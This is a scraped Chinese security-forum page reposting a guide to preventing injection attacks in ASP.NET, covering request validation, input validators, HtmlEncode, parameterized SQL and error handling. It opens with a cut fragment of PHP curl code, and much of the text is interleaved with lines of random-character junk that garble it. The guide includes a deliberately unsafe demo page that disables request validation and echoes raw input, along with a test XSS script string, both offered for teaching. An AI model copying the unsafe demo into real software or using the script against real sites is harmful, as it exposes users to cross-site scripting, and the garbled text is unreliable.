/tmp/cookie_$target);  $buf = curl_exec ($ch);  curl_close($ch);  unset($ch);    echo $buf;    ?>
* U& K& b! F0 S# n: Z0 E* ^
, p# L3 g7 f) w! `7 J9 E0 o% E1 \, A6 J! @8 D, U! V$ o& H+ w' i
  W" M) I  W2 y1 S5 w" K
" c* P  z' S4 I3 ?2 R
/ ]4 @5 Z4 N% _* q: M

6 X+ w& Y. D) z( Y+ h3 \* N$ f7 j) H1 a5 K3 y  g

7 D( a- `9 t% Q4 t4 P4 Q: @. }, G, ^$ W( |

( Z  W/ v0 ^+ K" K. ^/ T" g! r! m, F" f% O/ R& _

3 O' {3 ~# _4 _. U) u: T& ?
: T9 n5 U4 L, H$ y% S+ A- t. `; |9 N) t

2 m* f4 \  {- }( Z! H# U. }8 t& k. |" ~" u% f+ b7 m

2 g9 A7 ?% X/ h: s0 c2 T# n$ t  S2 K( v; K+ |
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

[转贴]ASP.NET中防止注入攻击
应用范围:
' w, w9 s! L( q. l# c' {

: s+ A- ]4 X" p$ G
8 a5 M& t& n) [; y% E/ y: _" V( QASP.NET vertion 1.1
5 n7 L$ N# `. WASP.NET vertion 2.0 5 L( P' O3 W2 W5 W! X% |

* ^2 H2 q: r4 V/ z; N. M, A$ F
概要:
, n3 A5 m, m4 a( G; W! P
文本主要介绍如何校验用户输入从而防止注入式攻击.校验用户输入是非常必要的,几乎所有程序级的攻击都包含恶意输入的手段.
2 D6 f/ \1 M. D6 B/ g# [
你应该校验包括字段,查询字串参数,Cookie等一切用户输入项来保护你的程序免受注入攻击.你得假设所有的用户输入都是恶意的,确保在服务器端 对所有的用户输入进行校验.使用基于客户端的验证可以减少页面的住返次数,改进性能,改善用户体验,但是不要仅仅依赖于此,因为客户端的验证很容易就可以 被黑客骗过去.
% E9 M; o( _9 b0 v5 _; p
为了验证输入内容,你应该为每一个输入字段定义可接受的输入规则.比较好的作法是从输入字段的长度,范围,格式,类型来作约束.使用可接受的字符约束列表而不是非法字符列表来约束输入.使用非法字符列表约束的方式不好,是因为你几乎不可能过滤所有的有害输入.

: B' G) M4 x! p- d: N( M
如果你需要接受HTML字符输入,最好使用HtmlEncode之类的方法将它进行编码确保安全再将它们显示出来.

6 k. j% e1 [: h% b- P

/ |8 s/ U0 u, v
. [6 o) X2 @7 o& }/ O
( }7 L/ {5 ^4 m$ a9 M

4 N1 O% Y* n5 _$ b, k6 S
. h1 H' H4 ]5 H4 U
内容:
( g6 x2 K1 w" T) R. M
目的

3 K' X  t6 T, X: h! O1 |
总括
% M/ b" `9 ?9 Y0 M" }
分步实施提要
/ f$ q% V1 s) l% y8 K
第一步. 使用ASP.NET 请求校验.

1 Y$ R- Q5 k0 ?2 B; q" S9 @
第二步. 使用权用约束输入.

/ I1 _. _& \& a7 S% i
第三步. 对不安全的输入进行编码.
( G7 O* z; G% q
第四步. 对Sql语句使用命令参数方式.
# [) C5 `9 ^1 z( i0 D! n! ^' K7 ~
第五步. 验证ASP.NET的错误没有被返回客户端.

7 c% v$ b2 r, x* R6 ~
额外的资源

2 g3 f$ n3 c1 R! c6 e
* F- X" k/ L4 D# w4 P, @% V( o$ O) b: h9 ?  X- K* ~& e9 t; S6 Z, V
目的:

! Y* E0 F" {( _5 _* N8 {- p+ ?

# H5 e& y$ M5 T2 l2 n. \对输入的字串长度,范围,格式和类型进行约束. # K" K1 g4 N6 c, t1 D) c  V
在开发ASP.NET程序时使用请求验证防止注入攻击. / r5 x, l: y' r$ B( a4 F
使用ASP.NET验证控件进行输入验证. ! u! l( o$ o, `8 T4 V0 \9 ?, V
对不安全的输出编码.
8 q& f( r4 _+ t  `使用命令参数集模式防止注入攻击. / N, ^6 j7 A; n3 U2 T! c. M
防止错误的详细信息被返回到客户端. 0 I6 K$ c$ l, {. f% b" @
概述 :
3 u6 s* T# ~$ C$ r, ?" c5 D+ c, }
你应该在程序中验证所有的不信任输入.你应该假定所有的用户输入都是非法的.用户可以在应用程序中提供表单字段,查询字串,客户端cookies和浏览器环境值比如用户代理字串和IP地址等.

/ K! e3 n/ N3 }" d  ~1 E
弱输入校验通常为注入攻击提供了机会.下面是常见的利用弱输入校验或无输入校验进行攻击的手段.

) j% k" t+ a5 I" W3 Q

4 X. R- l. b% F, D) }3 q# h' VSQL 注入(SQL injection). 如果你使用用户的输入值来动态构造SQL语句,那么数据库可能执行攻击性的有害SQL语句. 6 s9 k2 v& M5 g4 Y0 T
跨站脚本(Cross-site scripting). 跨站脚本攻击利用网页验证漏洞注入客户端脚本.接下来这些代码被发送到受信任的客户端电脑上并被浏览器解释执行.因为这些代码来自受信任的站点,所以浏览器无法得知这些代码是有害的.
9 X: B  I0 v4 J$ L3 [/ M" Q未授权的文件访问(Unauthorized file access).如果你的代码从调用者那里接受输入,恶意用户可以看到你对文件的操作过程从而访问那些受保护的文件或者使用你的代码注入非法数据.
: [% D" C, e6 f0 w6 N& R
3 m0 q5 {3 d5 y' \3 c* X
注意 : 注入攻击可通过使用HTTP或HTTPS Secure Socket Layer(SSL) 连接. 传输加密技术不能用来防御攻击.

2 Q# ~: r2 P5 Y' _3 i
通常的输入验证方法总结如下.你应在所有的需要通过网络输入的地方进行验证,比如文本框和其它表单输入字段, 查询字串参数,cookies,服务器端变量和网络方法参数.注意,过滤策略应该是只允许正确的输入然后拒绝非法输入.这是因为定义正确的输入策略比过滤所有的非法输入要容易,那通常很难包括所有的非法输入.
; }6 p' G4 V3 F+ n2 _
通入如下几个方面验证输入内容:

3 B1 s% e# X- \, q1 |
1 y/ {: \* M" Z
约束.验证是否输入的是正确的类型,字符长度,格式和范围.可以应用ASP.NET验证控件来约束服务器控件输入.约束其它来源的输入可以使用正则表达式和自定义的验证规则.
! Y5 Y6 S& g& F( k4 Q拒绝.检测已知的有害数据输入并拒绝.
6 d; z4 d+ [' {9 R# k' O& N0 I过滤.有时候你会希望过滤掉用户输入中那些有安全隐患的那些部分.例如,你的程序允许自由格式的输入,比如备注字段,你会允许特定的安全HTML标记象<b>,<i>及其它的HTML标记. 4 l/ N. x+ c% ]3 A
, N$ `0 O/ _" a1 i* G$ \
步骤提要

8 N" H% k8 E& ]/ I/ C0 h4 D0 b- j! _+ p
通过以下步骤保护你的ASP.NET程序不受注入式攻击危害 :

/ L  T. w1 Y* M8 u

0 V0 Z" y$ t& a! D第一步.使用ASP.NET请求验证. # T% o, e2 U/ n/ |) J  e+ m+ ~
第二步.约束输入.
1 R1 |3 t% G& o3 I第三步.对不安全的输出进行编码. 7 a/ t$ F) |/ _4 X7 |( i
第四步.对SQL查询语句使用命令参数. 1 m5 o" d) j* z
第五步.验证ASP.NET的出错信息没有泄漏至客户端. - J4 }# H! u' j/ W! B

6 V  L$ E" C( S% u7 S. R6 j$ X/ ?& b8 S
下面的章节将对这些步骤进行详细讨论.

' x6 E+ C" D+ d3 L1 _9 \* ~
第一步.使用ASP.NET请求验证.
- f+ x- H  P3 _6 b
默认地,ASP.NET 1.1和2.0请求验证会对送至服务器的数据检测是否含有HTML标记元素和保留字符.这可以防止用户向程序中输入脚本.请求验证会对照一个有潜在威胁的字符串列表进行匹配,如果发现异常它会抛出一个HttpRequestValidationException类型的异常.

+ h2 V: ?" v( V- F! k# t6 J
你可以在你的web.config文件中的<pages>元素中加入validateRequest="false" 或在单独的页面的@Pages元素里面设置ValidateRequest = "false"来禁用此项功能.
+ y5 h: x. {7 b4 h; z
如果你想禁用请求验证功能,你可以仅在需要的页面禁用它.比如你在程序页面上包含一个可接受HTML格式输入的字段.
! v! Y: L& W( |' O5 g
确定在Machine.config文件中请求验证功能被打开.

9 }) a5 J: f' u
请求验证功能在ASP.NET中被默认启用.你可以在Machine.config.comments文件中看到如下的默认设置.
* C7 d& u$ c8 G1 c
<pages validateRequest = "true" ... />
/ D+ [9 w* @7 \7 E* _% M! ]- l- k
确认你没有修改你的服务器的Machine.config和应用程序的Web.config文件里的默认设置.
  s5 X2 E0 U. h$ R. k
测试ASP.NET请求验证

) @! Z4 u+ g, |, v2 H
你可以测试请求验证的作用.创建一个ASP.NET页面通过设置ValidateRequest = "fasle"禁用请求验证,代码如下 : # T3 i6 X  U1 e9 j, c2 A. F
<TABLE style="BORDER-RIGHT: rgb(204,204,204) 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: rgb(204,204,204) 1px dotted; BORDER-LEFT: rgb(204,204,204) 1px dotted; BORDER-BOTTOM: rgb(204,204,204) 1px dotted" cellSpacing=0 cellPadding=6 width="95%" align=center border=0>
; m; E5 U9 C( \/ K5 `: l% }! \  Y: A+ X* ]: i+ F) R/ v

, n) h5 [6 _- x<%@ Language="C#" ValidateRequest="false" %>  <html>   <script runat="server">    void btnSubmit_Click(Object sender, EventArgs e)    {      // If ValidateRequest is false, then ’hello’ is displayed      // If ValidateRequest is true, then ASP.NET returns an exception      Response.Write(txtString.Text);    }   </script>   <body>    <form id="form1" runat="server">      <asp:TextBox id="txtString" runat="server"                    Text="<script>alert(’hello’);</script>" />      <asp:Button id="btnSubmit" runat="server" OnClick="btnSubmit_Click"                    Text="Submit" />    </form>   </body>  </html></TABLE>
当你运行页面的时候,"Hello"被显示在一个消息框中,因为在txtString中的脚本被执行并被客户端的浏览器处理. 如果你设置ValidateRequest = "true" 或者移除ValidateRequest页面属性,ASP.NET请求验证会拒绝脚本输入并抛出一个象下面这样的错误信息.   A potentially dangerous Request.Form value was detected from the client (txtString="<script>alert(’hello").   注意 不要仅仅依赖请求验证功能,而只是把它作为自定验证的辅导手段. 第二步.约束输入 要约束输入通过如下方法 :   使用服务器端的输入验证.不要依赖于客户端的验证,因为它很容易就被绕过.使用客户端验证是为了减少页面返住次数提升性能,改进用户体验.  验证输入的长度,范围,格式和类型.确保输入内容是符合要求的正确内容.  使用强数据类型.为数字类型的输入指定如Integer或者Double的类型.为字符输入指定为String数据类型.为日期时间输入指定DateTime类型. 要验证表单里面的HTML控件输入字段,在服务器端代码中进行验证,使用Regex正则表达式类型可以帮助约束字符输入.下面的章节介绍如何约束普通输入类型的变量. 验证字符串字段   要验证字符串字段,如姓名,地址,传真,生份证号码,使用正则表达式.  约束可接受的字符范围.  启动格式规则.例如,基于模式的字段如税号,邮编,邮递区号需要规定的字符模式.  验证长度.   使用正则表达式验证控件(RegularExpresionValidator) 要使用则表达式验证控件需要设置待验证的控件名(ControlToValidate),验证表达式(ValidationExpression)和出错提示(ErrorMessage).相关的属性设置请看下面的代码示例.   <form id="WebForm" method="post" runat="server">   <asp:TextBox id="txtName" runat="server"></asp:TextBox>   <asp:RegularExpressionValidator id="nameRegex" runat="server"          ControlToValidate="txtName"          ValidationExpression="^[a-zA-Z’.s]{1,40}$"          ErrorMessage="Invalid name">   </asp:regularexpressionvalidator> </form>   在上面的代码中,正则表达式被用于限定输入的名字为字母(允许大写字母和小写字母),空格,单名省略号象O’Dell和句点.此外,输入的字符长度被限定在40个字符. 注意 正则表达式验证控件(RegularExpressionValidator)会自动加入脱字符(^)和美元符号($)作为开始和结束的分隔符.如果你没有在自定义的表达式中加入他们那么最好加入.加入分隔符只是为了让你的表达式得到想要的那部分数据内容. 使用正则表达式类(Regex Class) 如果你没有使用服务器端的控件(意味着你不能使用验证控件),或者你需要其它的输入字段源而非表单字段(比如查询字串参数和cookies),那么你可以使用正则表达式类(Regex class). 使用正则表达式类 加入使用using前缀的语句导入System.Text.RegularExpressions命名空间.  确认正则表达式包含"^"和"$"(字串开始处,字串结束处).  调用Regex类的IsMatch方法,下面是代码示例.    // Instance method: Regex reg = new Regex(@"^[a-zA-Z’.s]{1,40}$"); Response.Write(reg.IsMatch(txtName.Text)); // Static method: if (!Regex.IsMatch(txtName.Text,@"^[a-zA-Z’.s]{1,40}$"))  {   // Name does not match expression }   如果你不能把经常使用的正则表达式缓存起来,你应该使用IsMatch静态方法来改进性能防止不必要的对象创建过程. 验证数字字段 在大多数情况下,应该验证数字的输入和范围.使用服务器控件验证数字字段的输入和范围,使用RangeValidator控件.RangeValidator支持货币,日期,整型,双精度和字符串类型的数据. 使用RangeValidator控件需要设置需要验证的控件名(ControlToValidate),类型(Type),最小值(MinimumValue),最大值(MaximumValue),和出错提示信息(ErrorMessage)属性.下面是代码示例 :    <asp:RangeValidator         ID="RangeValidator1"         Runat="server"         ErrorMessage="Invalid range. Number must be between 0 and 255."        ControlToValidate="rangeInput"         MaximumValue="255"         MinimumValue="0" Type="Integer" />   如果你没使用服务器控件,你可以将输入值转化成整型再进行验证来完成对数字的范围验证.例如,要验证一个整数是否合法,使用ASP.NET2.0提供的新方法Int32.TryParse将输入值转化为System.Int32的变量类型.这个方法会在转换失败时返回false.   Int32 i; if (Int32.TryParse(txtInput.Text, out i) == false) {   // Conversion failed }   如果你使用早先的ASP.NET版本,可以在try/catch语句块中 使用Int32.Parse或者Convert.ToInt32方法并可以在转换失败时处理抛出的FormatException错误. 下面的示例代码演示了如何验证来自HTML文本框的整数类型的类型和范围.   <%@ Page Language="C#" %> <script runat="server">   void Page_Load(object sender, EventArgs e)   {     if (Request.RequestType == "POST")     {       int i;       if (Int32.TryParse(Request.Form["integerTxt"], out i) == true)       {         // TryParse returns true if the conversion succeeds         if ((0 <= i &amp;&amp; i <= 255) == true)         {           Response.Write("Input data is valid.");         }         else           Response.Write("Input data is out of range");       }       else         Response.Write("Input data is not an integer");     }   }     </script> <html>   <body>     <form id="form1" action="NumericInput.aspx" method="post">       <div>         Enter an integer between 0 and 255:         <input name="integerTxt" type="text" />         <input name="Submit" type="submit" value="submit" />       </div>     </form>   </body> </html>   验证日期字段 你需要验证日期字段是否是正确的类型.在大多数情况下,你也需要验证它们的范围,如验证它们是否是将来或是过去的时间.如果你使用服务器控件来捕获一个日期输入值,同时你希望这个值在一个特定的范围内,你可以使用范围验证控件(RangeValidator)并设置它允许的类型为Date类型.这个控件允许你指定一个特殊的时间段通过设置起始的时刻.如果你需要以今天的时间作为参照来验证,比如验证一个时间是在将来还是过去,你可以使用CustomValidator验证控件. 使用CustomValidator控件来验证一个日期需要设置ControlToValidate和ErrorMessage属性,在OnServerValidate事件中指定一个自定义的验证逻辑方法.下面是示例代码.   <%@ Page Language="C#" %> <script runat="server">  void ValidateDateInFuture(object source, ServerValidateEventArgs args)  {    DateTime dt;    // Check for valid date and that the date is in the future    if ((DateTime.TryParse(args.Value, out dt) == false) ||         (dt <= DateTime.Today))    {      args.IsValid = false;    }  } </script> <html>   <body>     <form id="form1" runat="server">       <div>         <asp:Label ID="Label1" Runat="server"                     Text="Future Date:"></asp:Label>         <asp:TextBox ID="futureDatetxt" Runat="server"></asp:TextBox>         <asp:CustomValidator                ID="CustomValidator1" Runat="server"                ErrorMessage="Invalid date. Enter a date in the future."               ControlToValidate="futureDatetxt"                 OnServerValidate="ValidateDateInFuture">         </asp:CustomValidator>         <br />         <asp:Button ID="submitBtn" Runat="server" Text="Submit"  />       </div>     </form>   </body> </html>   注意 上面的代码使用的方法DateTime.TryParse是ASP.NET2.0提供的新方法. 过滤自由文本字段 过滤输入,你需要使不安全的输入不被当作代码来对待.例如,你的程序使用户不能读取共享数据库内的数据,你首先需要过滤数据使它们在输出的时候没有危险.使用HttpUtility.HtmlEncode方法先对输入值进行编码. 允许有限的输入HTML代码   在@ Page页面元素内加以下字段ValidateRequest = "false"禁用ASP.NET请求验证  使用HtmlEncode方法对输入的字符串进行编码  使用StringBuilder对象,调用它的Replace方法对字符中的HTML进行替换  下面的代码给出了这种办法的示例.此页面设置ValidateRequest = "fasle"禁用了ASP.NET请求验证.它的HTML编码为了显示简单的文本格式允许使用<b>和<i>标记.   <%@ Page Language="C#" ValidateRequest="false"%> <script runat="server">   void submitBtn_Click(object sender, EventArgs e)   {     // Encode the string input     StringBuilder sb = new StringBuilder(                             HttpUtility.HtmlEncode(htmlInputTxt.Text));     // Selectively allow  and <i>     sb.Replace("&amp;lt;b&amp;gt;", "<b>");     sb.Replace("&amp;lt;/b&amp;gt;", "");     sb.Replace("&amp;lt;i&amp;gt;", "<i>");     sb.Replace("&amp;lt;/i&amp;gt;", "");     Response.Write(sb.ToString());   } </script> <html>   <body>     <form id="form1" runat="server">       <div>         <asp:TextBox ID="htmlInputTxt" Runat="server"                       TextMode="MultiLine" Width="318px"                      Height="168px"></asp:TextBox>         <asp:Button ID="submitBtn" Runat="server"                       Text="Submit" OnClick="submitBtn_Click" />       </div>     </form>   </body> </html>     验证查询字串的值   验证查询字串的长度,范围,格式和类型.通常,你使用一个合并的正则表达式来完成以下任务:  约束输入值  设置明确的范围检查条件  指定输入的类型并将它转换成ASP.NET平台下的类型,处理任何由类型转换引发的异常下面的代码示例演示了使用Regex类验证由查询字串传递过来的名字字符串     void Page_Load(object sender, EventArgs e) {   if (!System.Text.RegularExpressions.Regex.IsMatch(        Request.QueryString["Name"], @"^[a-zA-Z’.s]{1,40}$"))     Response.Write("Invalid name parameter");   else     Response.Write("Name is " + Request.QueryString["Name"]); }   验证Cookie值 象查询字串这样被保存在Cookie里面的值很容易被用户修改.同样地验证这些值的长度,范围,格式和类型. 验证文件和URL地址 如果你的程序允许输入文件名,文件地址或者文件存放路径,你需要验证它们的格式是否正确并且根据你的程序实际情况它指向一个有效的位置.如果此步验证失败,你的程序可能会被错误地要求访问文件. 验证文件路径 为了避免你的程序被用户利用来访问文件,防止接受用户编写代码输入的文件或者文件路径.例如 :  如果你接受输入文件名,使用System.IO.Path.GetFileName方法来取得文件的全称  如果你不得不接受输入文件路径,使用System.IO.Path.GetFullPath来取得完整的文件路径 使用MapPath方法防止跨应用程序的映射    如果你使用MapPath方法在服务器上映射一个提供的虚拟目录到一个物理目录,使用Request.MapPath方法的一个带bool参数的重载版本来防止跨应用程序的映射.下面是此项技术的示例代码 :   try {   string mappedPath = Request.MapPath( inputPath.Text,                                         Request.ApplicationPath, false); } catch (HttpException) {   // Cross-application mapping attempted }   最终的false参数将会防止跨应用程序的映射.这意味着用户不允许使用".."这样的语法提供一个不在你所指定的虚拟目录里面的非法路径. 如果你使用服务器控件,你可以使用Control.MapPathSecure方法获取虚拟目录对应的实际目录地址. Control.MapPathSecure方法在访问一个非授权的文件时抛出一个HttpException的异常.需要更多信息,请参看.NET Framework文档中的Control.MapPathSecure方法介绍. 使用代码访问安全机制限制文件输入输出 管理员可以通过设置程序使它的可信度为"中"来限制程序向它所在的虚拟目录读写文件的能力..NET代码安全机制可以保证程序在它所在的虚拟目录之外没有任何的文件访问权利. 要设置一个应用程序的信任度为"中",可以在Web.config或者Machine.config文件中加入: <trust level = "Medium" /> 验证URL 你可以用象下面的这样的正则表达式来对URL进行特征匹配. ^(?:http|https|ftp)://[a-zA-Z0-9.-]+(?::d{1,5})?(?:[A-Za-z0-9.;:@&amp;=+$,?/]|%u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2})*$ 这只是约束输入的格式,不验证它是否在应用程序可接受的范围内.你应该验证它是否在你的程序的上下文中有效.例如,您的应用程序是否跟你指定的服务器进行通讯? 第三步.对不安全代码进行编码 如果您输入文本输入到一个网页,使用HttpUtility.HtmlEncode方法对它进行编码.如果这些文来自于用户输入,数据库或者一个本地文件,请确保总是这样做. 同样地,如果您书写的URL里面包含不安全的字符因为他们来自于用户输入内容,数据库等,使用HttpUtility.UrlEncode方法进行编码. 为了防止存储数据前编码可能会使存储的数据受到破坏,请确保在将它们显示出来时尽可能后面的步骤将它们编码. 使用HtmlEncode对不安全的输出编码 HtmlEncode对HTML标记置换成特殊含文的字符串来表示这些符号而又让浏览器不把它们当作HTML标记来解释处理.比如."<"被置换成&amp;lt; " (冒号) 被替换成&amp;quot; 这些标记被显示成无害的文本.   <%@ Page Language="C#" ValidateRequest="false" %> <script runat="server">   void submitBtn_Click(object sender, EventArgs e)   {       Response.Write(HttpUtility.HtmlEncode(inputTxt.Text));   } </script> <html xmlns="http://www.w3.org/1999/xhtml" >   <body>     <form id="form1" runat="server">       <div>         <asp:TextBox ID="inputTxt" Runat="server"               TextMode="MultiLine" Width="382px" Height="152px">         </asp:TextBox>         <asp:Button ID="submitBtn" Runat="server" Text="Submit"                      OnClick="submitBtn_Click" />       </div>     </form>   </body> </html>   查看HTML编码的效果,请建立一个虚拟目录将前述的文件放进去,运行此页面,在文本框中输入一些HTML代码,点击提交按钮.例如,下面的输入被当作普通文本来显示. Run script and say hello <script>alert(’hello’);</script>  如果你移除调用HtmlEncode方法,简单地输入文本的内容,浏览器会执行代码并弹出一个提示框. 使用UrlEncode 方法对不安全的URL地址进行编码 如果你需要获取有用户输入部分的URL参数,这可能带来一定的安全风险,使用HttpUtility.UrlEncode方法对这个地址字符串编码. HttpUtility.UrlEncode(urlString); 第四步.对SQL语句使用命令参数方式. 为了避免注入式攻击请使用SQL的参数方式.参数(Parameters)集合提供类型检测和长度检测.如果你使用参数集合,输入的内容将被当作文本值来对待,数据库不会执行包含在其中的代码.使用参数集方式的一个额外的好处是,你可以严格限定输入的类型和长度.如果输入型超出范围将会触发异常. 当调用一个存储过程时使用参数集 下面的代码片段演示了在调用存储过程时使用参数集的例子.   SqlDataAdapter myCommand = new SqlDataAdapter("AuthorLogin",                                       myConnection); myCommand.SelectCommand.CommandType = CommandType.StoredProcedure; SqlParameter parm = myCommand.SelectCommand.Parameters.Add(                                        "@LoginId", SqlDbType.VarChar, 11); parm.Value = Login.Text;   在创建你自己的SQL语句时使用参数集. 如果你不能使用存储过程,你仍然可以使用参数集,请看下面的代码.   SqlDataAdapter myCommand = new SqlDataAdapter( "SELECT au_lname, au_fname FROM Authors WHERE au_id = @au_id", myConnection); SQLParameter parm = myCommand.SelectCommand.Parameters.Add(                            "@au_id" ,SqlDbType.VarChar, 11); Parm.Value = Login.Text;   如果需要获取更多的如果防止SQL注入攻击的信息请参看How to : Protect From SQL Injection in ASP.NET 第五步.验证ASP.NET的错误信息没有被返回到客户端 你可以使用<customErrors>元素来配置客户端,一般的错误信息应该被程序错误检测机制返回到客户端. 请确认已经更改web.config中的mode属性为"remoteOnly",下面是示例. <customErrors mode = "remoteOnly"> 安在装了一个ASP.NET 的程序之后,你可以按照如下设定指定客户端的错误信息页面。 <customErrors mode = "on" defaultRedirect = "YourErrorPage.htm"> 额外的资源,请查看相关主题内容 : 在ASP.NET中如何使用正则表达式约束输入. 防止SQL注入攻击 防止跨站脚本攻击
  y! J6 Z5 [; A% _/ l5 v9 `5 b# R: |
, N/ d3 L  M1 [

* S3 t* J  u7 ~" i: p6 I6 {% I' b- o% c# N2 O5 Z) w2 ?

) A& t" z9 }1 r9 V  S6 {. t2 J5 j  o( H* ]( L4 ?* O

5 m! b# d" H. F
2 z  T6 S% i: `) }9 A
' r+ f9 l/ T! @+ ^, ]3 a
' l2 _+ v& `, x3 X3 T0 r( r6 L1 g& t$ j  B
! b0 R  d# a1 b, J3 h2 f3 m
% v- K$ E7 _8 @7 F5 O

5 E" X" Z* ^; y  u6 N& C$ [8 ?4 k" b* r! A7 O6 i
* i0 e; h- Z4 Q* U' Q) I

. q! R) ~$ F) w/ U* g
4 q  I6 m: X( ]; a0 I' p公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表